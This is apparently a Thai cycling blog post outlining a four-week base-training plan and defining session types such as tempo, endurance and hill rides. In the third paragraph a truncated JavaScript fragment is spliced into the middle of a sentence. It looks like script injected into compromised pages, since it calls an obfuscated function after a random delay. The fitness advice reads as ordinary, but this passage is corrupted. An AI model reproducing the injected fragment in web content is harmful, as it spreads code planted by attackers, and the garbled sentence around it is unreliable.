สร้างพื้นฐานการปั่นที่มั่นคงไปกับ 1 เดือนฝึกปั่น Base trainning
จุดประสงค์การฝึกปั่น Base trainning ก็เพื่อพัฒนาร่างกายให้มีความพร้อมรับ workload ที่มากขึ้นในอนาคต เป็นการฝึกร่างกายให้มีความอึดหรือเป็นการฝึกโหมด Endurance เพื่อให้ร่างกายสามารถรักษาระดับพลังงานปั่นได้ระดับหนึ่งในระยะเวลาที่ตั้งไว้
การปั่นเเบบ Base trainning เป็นการปั่นที่เรียกว่า low-heart-rate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and low-intensity ride ความเข้มข้นในการฝึกจะไม่มาก เเต่จะกินเวลานานหน่อย ถือว่าเป็นการฝึกสมาธิกับความอดทนไปในตัวด้วย
เราฝึกปั่น Base trainning ก็เพื่อปรับสภาพร่างกาย ขอเรียกว่า train to train เพราะอยู่ๆ จะกระโดดไปฝึก Speed, Interval trainning ที่เเตะ HR Zone 3-4 หรือจะไปฝึกทำเวลาไต่เขาระยะเวลานานๆ เลย ดูจะอันตรายต่อร่างกายไป ร่างกายยังไม่มีความพร้อม จำเป็นต้องมีการสร้างกล้ามเนื้อ ระบบการหายใจ ปรับปอดหัวใจใหม่ซะก่อน…หลังจากสร้างความพร้อมเเล้ว เราก็เข้าสู่กระบวนการฝึกโหดๆ ต่อไป หรือ train to performance ฝึกเพื่อเพิ่มความเร็วใช้ในการเเข่งขัน ฝึกเพิ่มระดับ FTP ให้มากขึ้น เป็นต้น
ตัวอย่างตารางที่นำมาเสนอวันนี้คือการฝึกBase trainning ที่ใช้เวลา 1 เดือนหรือ 4 สัปดาห์นะครัช….
หมายเหตุ Base trainning
Fast Pedaling คือการปั่นรอบสูง 80+ rpm เเละต้องสามารถรักษาฟอร์มการปั่นได้ด้วย เลือกใช้เกียร์ที่ไม่หนักมากนัก จุดประสงค์เพื่อเพิ่มประสิทธิภาพในการควงขา
Easy ride มีจุดประสงค์เพื่อ recovery การปั่นจึงอยู่ในโซน 2 หรือ Fat-burn zone
Big Gear ,uการขึ้นจานหน้า และยังควงขาได้ความเร็วเท่าเดิมหรือสูงกว่า เเต่ต้องสามารถประคองไปจนจบ session ได้ หากมีอาการปวดเข่า ปวดขาให้ลดลงมาก่อน
Tempo คือการปั่น 90+ rpm ในโซน tempo เพือเพิ่ม aerobic fitness สร้างกล้ามเนื้อให้ทนทานต่อความเครียดที่เพิ่มขึ้น
Endurance คือการฝึกปั่นเพื่อเพิ่มความอึด รอบขาสูงและสบายตัว สามารถเลี้ยงได้จนจบ กินเวลามากกว่า 1 ชั่วโมงเป็นต้นไป เพื่อฝึกระบบ aerobic fitness และเพิ่มประสิทธิภาพการเผาผลาญพลังงานในโซน aerobic ด้วย
Hill คือการฝึกปั่นขึ้นเขา มีทั้งเเบบ endurace และ tempo เพื่อฝึกการใช้เกียร์เเละการเล่นรอบขา ยังได้ประโยชน์ในการสร้างความทนทานให้กล้ามเนื้อด้วย ถ้าไม่มีเนินเขาให้ฝึกก็ลองใช้เทรนเนอร์ทดเเทนก็ได้
อ้างอิง…www.bicycling.com
